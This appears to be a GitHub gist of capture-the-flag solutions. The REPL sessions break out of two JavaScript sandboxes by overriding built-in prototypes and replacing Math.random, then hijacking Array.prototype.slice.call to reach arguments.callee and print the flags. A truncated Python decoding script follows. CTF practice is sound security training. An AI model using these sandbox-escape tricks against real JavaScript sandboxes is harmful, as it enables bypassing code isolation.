This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ nc 203.178.132.117 30349 | |
var g = function () { | |
var rand = Math.random, | |
floor = Math.floor; | |
var symbols = [0,0,0,0,0,0,0].map(function (i) { | |
return floor(rand() * 6); | |
}).map(function (i) { | |
return ['&', '%', '*', '@', '#', '$'][i]; | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rand> Object.keys(this) | |
["print", "quit", "version", "arguments", "g"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rand> g("getFlag()") | |
undefined:1: SyntaxError: Unexpected token ILLEGAL | |
getFlag@# | |
^ | |
SyntaxError: Unexpected token ILLEGAL | |
at f (/home/nodejs/problems/rand.js:24:22) | |
at (d8):1:1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rand> String.prototype.split = function(i) { return this.toString()} | |
function (i) { return this.toString()} | |
rand> String.prototype.join = function(i) { return this.toString()} | |
function (i) { return this.toString()} | |
rand> g("print(getFlag())") | |
try again | |
undefined | |
rand> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rand> g("rand = function() {return 1}") | |
undefined | |
rand> g("print(getFlag())") | |
FLAG{7f94427ec6f49f70642d41c675b98832} | |
undefined | |
rand> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ nc 203.178.132.117 24089 | |
var g = (function () { | |
var FLAG = 'FLAG_IS_HIDDEN_HERE'; | |
function f (flg /* args[]... */) { | |
this.args = arguments; | |
if (flg) { | |
return FLAG; | |
} else { | |
return Array.prototype.slice.call(this.args, 1).join(', '); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
return f.bind(null, false); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
args> var gl | |
undefined | |
args> Array.prototype.slice.call = function(i,v) {gl=i;return[]} | |
function (i,v) {gl=i;return[]} | |
args> g("") | |
"" | |
args> gl | |
[object Arguments] | |
args> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
args> gl | |
[object Arguments] | |
args> gl.callee(true) | |
"FLAG{3d2dba5b774814fa8fe87798898b7b30}" | |
args> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import string | |
if __name__ == "__main__": | |
parts = [] | |
parts.append(0x00f0c3eac5dfc8c2) | |
parts.append(0x00fec8e3e0fef0e5) | |
parts.append(0x00f6d0f4f5f6e5c0) | |
parts.append(0x00e9abeee6edfbf6) |
OlderNewer